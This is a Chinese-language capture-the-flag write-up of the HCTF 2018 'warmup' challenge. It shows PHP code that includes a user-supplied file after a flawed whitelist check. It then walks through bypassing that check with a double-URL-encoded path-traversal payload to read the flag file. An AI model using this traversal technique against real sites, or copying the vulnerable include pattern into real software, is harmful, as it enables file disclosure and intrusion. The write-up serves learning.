HCTF 2018-warmup
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" />";
}
?> you can't see it
first
第一段
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
)
首先你的file参数不能为空,
其次是个字符串
最后必须可以经受住 checkFile函数的考研
second_for_checkFile
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {//1
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {//2
return true;
}
$_page = mb_substr(//3
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {//3
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {//4
return true;
}
echo "you can't see it";
return false;
}
讲四块if条件句一点点看
前两个
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {//1
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {//2
return true;
}
可以看出,声明了一个白名单。
第一个if句避开的条件为,存在page并且page是字符串,这个我们很好过。
第二个是说如果我们的page在白名单那么可以通过,
这里我们可以只写?file=hint.php或者?file=source.php
hint.php显示了内容,如下图
flag in ffffllllaaaagggg
第三个
$_page = mb_substr(//3
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {//3
return true;
}
先明确一下函数作用
mb_substr() 截取字符串
https://www.runoob.com/php/func-string-mb_substr.html
mb_strpos函数
查找字符串在另一个字符串中首次出现的位置
https://www.php.net/manual/zh/function.mb-strpos.php
如果不知道这一段是干嘛的,可以接着往下看。
第四个
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {//4
return true;
}
echo "you can't see it";
return false;
先是进行了url解码,发现下方又进行了一次同样方式的截取,嘿~
这时候想到了嘛?!
我们可以先传入一段payload,
然后让他的函数第二次url解码,然后可以在?前写source.php或者hint.php
那么即可成功进入第四个if语句,让其返回true。
构造payload:
<?php
$a = "source.php?/../../../../ffffllllaaaagggg";
echo urlencode($a);
?>
为什么写四次../?
一般写php的网站的目录结构大概是
/var/www/html/xxx.php
比如:
/var/www/html/hint.php
/var/www/html/source.php
所以一般写三到四次即可。
( 我觉得ffffllllaaaagggg都写了四次可能也就是在暗示四层。)
如果不清楚,或者有其他怀疑?
那么一层层的试叭肯定不会很多层,一般不会有那种nt的出题人。